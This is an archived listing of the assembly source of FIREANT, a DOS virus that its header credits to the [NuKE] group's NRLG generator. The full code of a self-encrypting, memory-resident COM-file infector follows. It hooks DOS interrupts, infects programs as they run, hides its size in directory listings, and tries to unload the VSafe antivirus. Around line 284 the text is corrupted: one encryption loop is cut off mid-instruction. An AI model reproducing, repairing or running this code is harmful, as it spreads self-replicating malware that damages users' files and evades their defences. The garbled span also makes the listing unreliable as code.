home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / FIREANT.ASM < prev    next >
Assembly Source File  |  1996-05-27  |  22KB  |  439 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  xor word ptr [di],0e3ddh
  36. xor word ptr [di],0dddbh
  37. inc word ptr [di]
  38. add byte ptr [di],059h
  39. inc word ptr [di]
  40. inc word ptr [di]
  41. add word ptr [di],0b6bh
  42. inc word ptr [di]
  43. sub word ptr [di],01654h
  44. sub word ptr [di],077c2h
  45. sub byte ptr [di],05dh
  46. not word ptr [di] 
  47. sub byte ptr [di],0c4h
  48. xor word ptr [di],09e43h
  49. inc word ptr [di]
  50. inc word ptr [di]
  51. not byte ptr [di] 
  52.  inc di
  53. inc di
  54. ;----------------------------------------------------------                                                
  55. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  56. mov ah,4ch
  57. int 21h
  58. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  59. ;-----------------------------------------------------------                               
  60. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  61. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  62. ;----------------------------------------------------------                                   
  63. loop deci                    ;repeat please!               
  64.                              ;           
  65. ;*****************************************************************
  66. ;                   #2 DECRYPT ROUTINE                                                    
  67. ;*****************************************************************
  68.                               ;    
  69. crypt:                        ;fuck label!                  
  70.                               ;                
  71. mov cx,offset fin             ;cx = large of virus                 
  72. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  73. ;---------------------------------------------------------------                                              
  74. deci2:                        ;              
  75. xor byte ptr cs:[di],1        ;decrytion rutine          
  76. inc di                        ;very simple...            
  77. loop deci2                    ;           
  78. ;---------------------------------------------------------------
  79. crypt2:                       ;fuck label!          
  80.                               ;                  
  81. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  82. INT 21H                       ;for chek "I'm is residet?"   
  83. CMP Bh,0CAH                   ;is equal to CACA?
  84. JE PUM2                       ;yes! jump to runnig program
  85. call action
  86. ;*****************************************************************
  87. ; NRLG FUNCTIONS  (SELECTABLE)
  88. ;*****************************************************************
  89.  
  90.  call ANTI_V
  91. ;****************************************************************
  92. ;               PROCESS TO REMAIN RESIDENT                                                                  
  93. ;****************************************************************   
  94.  
  95. mov   ax,3521h                  
  96. int   21h                        ;store the int 21 vectors 
  97. mov   word ptr [bp+int21],bx     ;in cs:int21
  98. mov   word ptr [bp+int21+2],es   ;
  99. ;---------------------------------------------------------------
  100. push cs                          ; 
  101. pop ax                           ;ax = my actual segment                             
  102. dec ax                           ;dec my segment for look my MCB
  103. mov es,ax                        ;
  104. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  105. ;---------------------------------------------------------------
  106. push cs                          ;   
  107. pop es                           ;   
  108. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  109. sub bx,17 + offset fin           ;and 100H for the PSP total
  110. mov ah,4ah                       ;used memory
  111. int 21h                          ;put the new value to MCB
  112. ;---------------------------------------------------------------
  113. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  114. mov ah,48h                      ;                              
  115. int 21h                         ;request the memory to fuck DOS!                                                 
  116. ;---------------------------------------------------------------
  117. dec ax                          ;ax=new segment 
  118. mov es,ax                       ;ax-1= new segment MCB 
  119. mov byte ptr es:[1],8           ;put '8' in the segment
  120. ;--------------------------------------------------------------                                
  121. inc ax                          ; 
  122. mov es,ax                       ;es = new segment
  123. lea si,[bp + offset start]      ;si = start of virus 
  124. mov di,100h                     ;di = 100H (psp position) 
  125. mov cx,offset fin - start       ;cx = lag of virus
  126. push cs                         ;
  127. pop ds                          ;ds = cs
  128. cld                             ;mov the code
  129. rep movsb                       ;ds:si >> es:di
  130. ;--------------------------------------------------------------
  131. mov dx,offset virus             ;dx = new int21 handler
  132. mov ax,2521h                    ;
  133. push es                         ; 
  134. pop ds                          ; 
  135. int 21h                         ;set the vectors 
  136. ;-------------------------------------------------------------
  137. pum2:                               ;  
  138.                                     ; 
  139. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  140. mov byte ptr cs:[100h],ah           ;first bytes  
  141. mov ax,word ptr [cs:bp + real + 1]  ;
  142. mov word ptr cs:[101h],ax           ;
  143. ;-------------------------------------------------------------
  144. mov ax,100h                         ;
  145. jmp ax                              ;jmp to execute
  146.                                     ;
  147. ;*****************************************************************
  148. ;*             HANDLER FOR THE INT 21H                                       
  149. ;*****************************************************************
  150.                           ;          
  151. VIRUS:                    ;  
  152.                           ;     
  153. cmp ah,4bh                ;is a 4b function? 
  154. je REPRODUCCION           ;yes! jump to reproduce !
  155. cmp ah,11h
  156. je dir
  157. cmp ah,12h
  158. je dir
  159. dirsal:
  160. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  161. jne a3                    ;no! jump to a3
  162. mov bh,0cah               ;yes! put ca in bh
  163. a3:                       ;
  164. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  165. ret                       ;    
  166. make db '[NuKE] N.R.L.G. AZRAEL'
  167. dir:
  168. jmp dir_s
  169. ;-------------------------------------------------------------
  170. REPRODUCCION:              ;       
  171.                            ;
  172. pushf                      ;put the register
  173. pusha                      ;in the stack
  174. push si                    ;
  175. push di                    ;
  176. push bp                    ;
  177. push es                    ;
  178. push ds                    ;
  179. ;-------------------------------------------------------------
  180. push cs                    ;  
  181. pop ds                     ;  
  182. mov ax,3524H               ;get the dos error control                      
  183. int 21h                    ;interupt                        
  184. mov word ptr error,es      ;and put in cs:error                      
  185. mov word ptr error+2,bx    ;            
  186. mov ax,2524H               ;change the dos error control                    
  187. mov dx,offset all          ;for my "trap mask"                      
  188. int 21h                    ;         
  189. ;-------------------------------------------------------------
  190. pop ds                     ;
  191. pop es                     ;restore the registers
  192. pop bp                     ;
  193. pop di                     ;
  194. pop si                     ;
  195. popa                       ;
  196. popf                       ;
  197. ;-------------------------------------------------------------
  198. pushf                      ;put the registers
  199. pusha                      ;     
  200. push si                    ;HEY! AZRAEL IS CRAZY?
  201. push di                    ;PUSH, POP, PUSH, POP
  202. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  203. push es                    ;PURIFY THIS SHIT!
  204. push ds                    ;
  205. ;-------------------------------------------------------------
  206. mov ax,4300h                 ;       
  207. int 21h                      ;get the file     
  208. mov word ptr cs:[attrib],cx  ;atributes   
  209. ;-------------------------------------------------------------
  210. mov ax,4301h                 ;le saco los atributos al        
  211. xor cx,cx                    ;file 
  212. int 21h                      ;
  213. ;-------------------------------------------------------------  
  214. mov ax,3d02h                 ;open the file 
  215. int 21h                      ;for read/write
  216. mov bx,ax                    ;bx=handle
  217. ;-------------------------------------------------------------
  218. mov ax,5700h                ;     
  219. int 21h                     ;get the file date  
  220. mov word ptr cs:[hora],cx   ;put the hour    
  221. mov word ptr cs:[dia],dx    ;put the day    
  222. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  223. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  224. jne seguir                  ;yes! the file is infected!     
  225. jmp cerrar                  ;
  226. ;------------------------------------------------------------
  227. seguir:                     ;     
  228. mov ax,4202h                ;move the pointer to end
  229. call movedor                ;of the file
  230. ;------------------------------------------------------------
  231. push cs                     ;   
  232. pop ds                      ; 
  233. sub ax,3                    ;calculate the 
  234. mov word ptr [cs:largo],ax  ;jmp long
  235. ;-------------------------------------------------------------
  236. mov ax,04200h               ;move the pointer to  
  237. call movedor                ;start of file
  238. ;----------------------------------------------------------                                          
  239. push cs                     ;   
  240. pop ds                      ;read the 3 first bytes  
  241. mov ah,3fh                  ;                           
  242. mov cx,3                    ;
  243. lea dx,[cs:real]            ;put the bytes in cs:[real]
  244. int 21h                     ;
  245. ;----------------------------------------------------------                                          
  246. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  247. jne er1                         ;yes! is a EXE... fuckkk!
  248. ;----------------------------------------------------------
  249. jmp cerrar
  250. er1:
  251. ;----------------------------------------------------------                                          
  252. mov ax,4200h      ;move the pointer                               
  253. call movedor      ;to start fo file
  254. ;----------------------------------------------------------                                          
  255. push cs           ;       
  256. pop ds            ; 
  257. mov ah,40h        ;  
  258. mov cx,1          ;write the JMP
  259. lea dx,[cs:jump]  ;instruccion in the
  260. int 21h           ;fist byte of the file
  261. ;----------------------------------------------------------                                          
  262. mov ah,40h         ;write the value of jmp
  263. mov cx,2           ;in the file 
  264. lea dx,[cs:largo]  ; 
  265. int 21h            ;
  266. ;----------------------------------------------------------                                          
  267. mov ax,04202h      ;move the pointer to 
  268. call movedor       ;end of file
  269. ;----------------------------------------------------------                                          
  270. push cs                     ;        
  271. pop ds                      ;move the code  
  272. push cs                     ;of my virus      
  273. pop es                      ;to cs:end+50     
  274. cld                         ;for encrypt          
  275. mov si,100h                 ;    
  276. mov di,offset fin + 50      ;      
  277. mov cx,offset fin - 100h    ;        
  278. rep movsb                   ;      
  279. ;----------------------------------------------------------                                          
  280. mov cx,offset fin           
  281. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  282. enc:                              ;           
  283. xor byte ptr cs:[di],1            ;encrypt the virus              
  284. inc di                            ;code                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rd ptr [di],0b6bh
  285. dec word ptr [di]
  286. dec word ptr [di]
  287. sub byte ptr [di],059h
  288. dec word ptr [di]
  289. xor word ptr [di],0dddbh
  290. xor word ptr [di],0e3ddh
  291.  inc di
  292. inc di                             ;the virus code                  
  293. loop enc2                          ;              
  294. ;--------------------------------------------
  295. mov ah,40h                       ;  
  296. mov cx,offset fin - offset start ;copy the virus              
  297. mov dx,offset fin + 50           ;to end of file
  298. int 21h                          ;
  299. ;----------------------------------------------------------                                          
  300. cerrar:                          ;
  301.                                  ;restore the       
  302. mov ax,5701h                     ;date and time    
  303. mov cx,word ptr cs:[hora]        ;file   
  304. mov dx,word ptr cs:[dia]         ;     
  305. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  306. int 21h                          ; 
  307. ;----------------------------------------------------------                                          
  308. mov ah,3eh                       ; 
  309. int 21h                          ;close the file
  310. ;----------------------------------------------------------                                          
  311. pop ds                           ;
  312. pop es                           ;restore the 
  313. pop bp                           ;registers
  314. pop di                           ; 
  315. pop si                           ;
  316. popa                             ;
  317. popf                             ;
  318. ;----------------------------------------------------------                                          
  319. pusha                           ;   
  320.                                 ;                                                             
  321. mov ax,4301h                    ;restores the atributes 
  322. mov cx,word ptr cs:[attrib]     ;of the file  
  323. int 21h                         ;   
  324.                                 ;
  325. popa                            ; 
  326. ;----------------------------------------------------------                                          
  327. pushf                           ;                           
  328. pusha                           ; 8-(  = f-prot                       
  329. push si                         ;                       
  330. push di                         ; 8-(  = tbav   
  331. push bp                         ;                       
  332. push es                         ; 8-)  = I'm                        
  333. push ds                         ;                              
  334. ;----------------------------------------------------------                                          
  335. mov ax,2524H                    ;                         
  336. lea bx,error                    ;restore the                         
  337. mov ds,bx                       ;errors handler      
  338. lea bx,error+2                  ;                         
  339. int 21h                         ;                       
  340. ;----------------------------------------------------------                                          
  341. pop ds                          ;
  342. pop es                          ;
  343. pop bp                          ;restore the 
  344. pop di                          ;resgisters
  345. pop si                          ;
  346. popa                            ;
  347. popf                            ;
  348. ;----------------------------------------------------------                                          
  349. JMP A3                          ;jmp to orig. INT 21
  350.                                 ;
  351. ;**********************************************************
  352. ;           SUBRUTINES AREA
  353. ;**********************************************************
  354.                                 ;
  355. movedor:                        ;   
  356.                                 ; 
  357. xor cx,cx                       ;use to move file pointer         
  358. xor dx,dx                       ;       
  359. int 21h                         ;        
  360. ret                             ;        
  361. ;----------------------------------------------------------                                          
  362. all:                            ;  
  363.                                 ; 
  364. XOR AL,AL                       ;use to set 
  365. iret                            ;error flag
  366.  
  367. ;***********************************************************
  368. ;         DATA AREA
  369. ;***********************************************************
  370. largo  dw  ?
  371. jump   db  0e9h
  372. real   db  0cdh,20h,0
  373. hora   dw  ?
  374. dia    dw  ?
  375. attrib dw  ?
  376. int21  dd  ?
  377. error  dd  ?
  378.  
  379.  ;------------------------
  380. action:                 ;Nothing Action!    
  381. NOP                     ;only replicate  
  382. ret                     ;Return to call 
  383. ;------------------------
  384.  
  385.  ;---------------------------------
  386. ANTI_V:                          ; 
  387. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  388. MOV DX,5945H                     ; 
  389. INT 21H                          ;           
  390. ret                              ;
  391. ;---------------------------------
  392.  
  393.  ;*****************************************************
  394. dir_s:                                                               
  395.              pushf                                                         
  396.              push    cs                                                    
  397.              call    a3                      ;Get file Stats                       
  398.              test    al,al                   ;Good FCB?                            
  399.              jnz     no_good                 ;nope                                 
  400.              push    ax                                                 
  401.              push    bx                                                    
  402.              push    es                                                    
  403.              mov     ah,51h                  ;Is this Undocmented? huh...          
  404.              int     21h                                                   
  405.              mov     es,bx                                                 
  406.              cmp     bx,es:[16h]                                           
  407.              jnz     not_infected                        
  408.              mov     bx,dx                                                 
  409.              mov     al,[bx]                                               
  410.              push    ax                                                    
  411.              mov     ah,2fh                   ;Get file DTA                         
  412.              int     21h                                                   
  413.              pop     ax                                                    
  414.              inc     al                                                    
  415.              jnz     fcb_okay                                              
  416.              add     bx,7h                                                 
  417. fcb_okay:    mov     ax,es:[bx+17h]                                   
  418.              and     ax,1fh                   ;UnMask Seconds Field                 
  419.              xor     al,byte ptr cs:fechad                                      
  420.              jnz     not_infected                                            
  421.              and     byte ptr es:[bx+17h],0e0h                            
  422.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  423.              sbb     es:[bx+1fh],ax                                        
  424. not_infected:pop     es                                                    
  425.              pop     bx                                                    
  426.              pop     ax                                                    
  427. no_good:     iret                                                          
  428. ;********************************************************************
  429. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  430. ;*********************************************************************
  431.  
  432.  action_dia Db 020H ;day for the action
  433. action_mes Db 0dH ;month for the action
  434. FECHA DW 01eH ;Secon for mark
  435. FECHAd Db 01eH ;Secon for mark dir st
  436. fin:
  437. code ends
  438. end start
  439.